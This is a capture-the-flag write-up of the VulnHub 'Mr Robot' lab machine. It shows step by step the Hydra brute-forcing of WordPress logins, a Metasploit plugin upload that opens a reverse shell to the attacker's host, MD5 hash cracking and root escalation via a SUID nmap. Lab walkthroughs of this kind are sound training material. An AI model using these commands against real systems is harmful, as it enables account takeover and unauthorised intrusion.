It’s been a few months since I wrote my last write-up on a VulnHub vulnerable machine. Time for a new one! The VM is called Mr Robot and is themed after the TV show of the same name. It contains 3 flags to find, each of increasing difficulty.
Let’s start by a quick port scan.
$ nmap -sS -T4 192.168.2.4 Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-04-03 12:25 EDT Nmap scan report for vm (192.168.2.4) Host is up (0.00025s latency). PORT STATE SERVICE 22/tcp closed ssh 80/tcp open http 443/tcp open https
The website basically tells you a few things, and lets you input some commands. After a quick test, those don’t seem very useful.
As always, I then start by taking a look at the robots.txt file.
/robots.txt User-agent: * fsocity.dic key-1-of-3.txt
Alright, we already have the first flag! The second file looks promising.
$ file fsocity.dic fsocity.dic: ASCII text, with very long lines $ wc -l fsocity.dic 858160 fsocity.dic $ head fsocity.dic true false wikia from the now Wikia extensions scss window
That looks like a custom word list with 800k+ words in it However, a lot of them seem to be repeated:
$ sort fsocity.dic | uniq | wc -l 11451
If we remove the duplicates, we are left with a word list of ~11k words. Let’s save it for later.
A Nikto scan reveals several interesting paths.
nikto -h 192.168.2.4 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.4 + Target Hostname: 192.168.2.4 + Target Port: 80 + Start Time: 2017-04-03 18:32:36 (GMT-4) --------------------------------------------------------------------------- + Server: Apache (...) + /readme.html: This WordPress file reveals the installed version. + /wp-admin/wp-login.php: WordPress login found + /wp-login.php: WordPress login found --------------------------------------------------------------------------- + 1 host(s) tested
We clearly have a wordpress install here. If we browse to /readme.html, we can see that the WordPress version used is 4.3.9.
The next thing I did was to run WpScan against the machine. It revealed several outdated modules, but nothing I managed to exploit.
Therefore, I decided to focus on the administration panel and to try to brute force the administrator credentials. The first step to do this is to find a valid username. Unfortunately the website doesn’t seem to contain any post, so no author information appears. WpScan also fails to enumerate the users.
Fortunately there exists a very handy tool called Hydra that allows to brute force almost anything, including usernames in a HTTP form. Here’s the POST request made when we try to log in on /wp-login.php
Essentially we need to have the log and pwd parameters in the body of the request. If the username is invalid, WordPress will respond with a message « ERROR: Invalid username ». We’ll use the word list fsocity.dic that we found earlier, after having removed the duplicates it contains.
Here’s the Hydra command that does the job:
$ hydra -vV -L fsocity.dic.uniq -p wedontcare 192.168.2.4 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
Let’s break it down:
- -vV : Verbose
- -L fsocity.dic.uniq : Try all the usernames from the file fsocity.dic.uniq
- -p wedontcare : Use an unique password, it doesn’t matter (we’re only interested in the username for now)
- 192.168.2.4 : The IP of the machine we’re attacking
- http-post-form : What we’re trying to brute force, here a HTTP POST form
- ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username’
- /wp-login.php : The path to where the form is located
- log=^USER^&pwd=^PASS^&wp-submit=Log+In : The POST parameters to send. ^USER^ and ^PASS^ are placeholders that wiil be replaced with the actual values.
- F=Invalid username : Consider an attempt as a failure (F) if the response contains the text Invalid username
After a few minutes, we get:
[http-post-form] host: 192.168.2.4 login: elliot password: mypassword
Now we know there is a WordPress user named elliot. Let’s try to bruteforce his password using the same technique and word list, shall we?
$ hydra -vV -l elliot -P fsocity.dic.uniq vm http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect' [...] [http-post-form] host: 192.168.2.4 login: elliot password: ER28-0652 1 of 1 target successfully completed, 1 valid password found
Elliot’s password appears to be ER28-0652. We can indeed login to the WordPress administration interface using these credentials.
The first thing that comes to mind to get a shell on the machine is to upload a WordPress plugin containing the appropriate PHP payload. This is easy to do by hand, but I got lazy and used the WordPress Admin Shell Upload metasploit module. It essentially creates a small WordPress plugin that connects back to your machine and spawns a reverse shell.
$ msfconsole msf > use exploit/unix/webapp/wp_admin_shell_upload msf exploit(wp_admin_shell_upload) > show options Module options (exploit/unix/webapp/wp_admin_shell_upload): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes The WordPress password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to the wordpress application USERNAME yes The WordPress username to authenticate with VHOST no HTTP server virtual host msf exploit(wp_admin_shell_upload) > set USERNAME elliot USERNAME => elliot msf exploit(wp_admin_shell_upload) > set PASSWORD ER28-0652 PASSWORD => ER28-0652 msf exploit(wp_admin_shell_upload) > set RHOST 192.168.2.4 RHOST => 192.168.2.4 msf exploit(wp_admin_shell_upload) > exploit [*] Started reverse TCP handler on 192.168.2.3:4444 [*] Authenticating with WordPress using elliot:ER28-0652... [+] Authenticated with WordPress [*] Preparing payload... [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/ByYCGRdIIA/oEodftPPNp.php... [*] Sending stage (33721 bytes) to 192.168.2.4 [*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.4:39107) at 2017-04-03 19:06:21 -0400 [!] This exploit may require manual cleanup of 'oEodftPPNp.php' on the target [!] This exploit may require manual cleanup of 'ByYCGRdIIA.php' on the target meterpreter >
Here we go, a nice meterpreter shell. 🙂 Let’s spawn a TTY shell in it:
meterpreter > shell Process 2138 created. Channel 1 created. python -c 'import pty; pty.spawn("/bin/sh")' $ id uid=1(daemon) gid=1(daemon) groups=1(daemon) $
We can see that we’re logged in as the user daemon. After poking around a bit, we find /home/robot that seem to contains interesting stuff:
$ ls /home/robot key-2-of-3.txt password.raw-md5
We don’t have the permission to see the first file, but we can access the second one.
$ cat password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13b
Obviously looks like an unsalted MD5 hashed password that should be trivial to reverse using HashCat.
$ ./hashcat64.bin -a 0 -m 0 password.md5 /usr/share/wordlists/rockyou.txt -o cracked.txt
After a few seconds, we get:
We can now go back to our shell and log in as the user robot.
$ su robot Password: abcdefghijklmnopqrstuvwxyz robot@linux:~$
… which gives us the second flag.
robot@linux:~$ cat /home/robot/key-2-of-3.txt 822c73956184f694993bede3eb39f959
Nothing interesting in the MySQL database. There is another WordPress user named mich05654 with the password Dylan_2791, but it seems rather useless.
After some time of exploring the system, I find an interesting binary with the SUID bit set:
$ find / -perm -4000 -type f 2>/dev/null /bin/ping /bin/umount /bin/mount /bin/ping6 /bin/su /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/nmap /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/pt_chown
Yep, that’s NMap itself! An old version (3.81) of it, to be exact. Interestingly, the executable is owned by root. Since its SUID bit is set, it means that nmap can theoretically execute commands as root if we manage to have it run them for us.
A look at the output of nmap –help teaches us that nmap has a –interactive option that brings up some kind of REPL.
robot@linux:~$ nmap --interactive Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> h h Nmap Interactive Commands: n <nmap args> -- executes an nmap scan using the arguments given and waits for nmap to finish. Results are printed to the screen (of course you can still use file output commands). ! <command> -- runs shell command given in the foreground x -- Exit Nmap f [--spoof <fakeargs>] [--nmap_path <path>] <nmap args> -- Executes nmap in the background (results are NOT printed to the screen). You should generally specify a file for results (with -oX, -oG, or -oN). If you specify fakeargs with --spoof, Nmap will try to make those appear in ps listings. If you wish to execute a special version of Nmap, specify --nmap_path. n -h -- Obtain help with Nmap syntax h -- Prints this help screen. Examples: n -sS -O -v example.com/24 f --spoof "/usr/local/bin/pico -z hello.c" -sS -oN e.log example.com/24
Awesome, it turns out nmap can run shell command for us!
nmap> !whoami root
We can therefore ask it to spawn a root shell, and get the final flag located in /root.
nmap> !sh # cd /root # ls firstboot_done key-3-of-3.txt # cat key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4
Thanks for reading!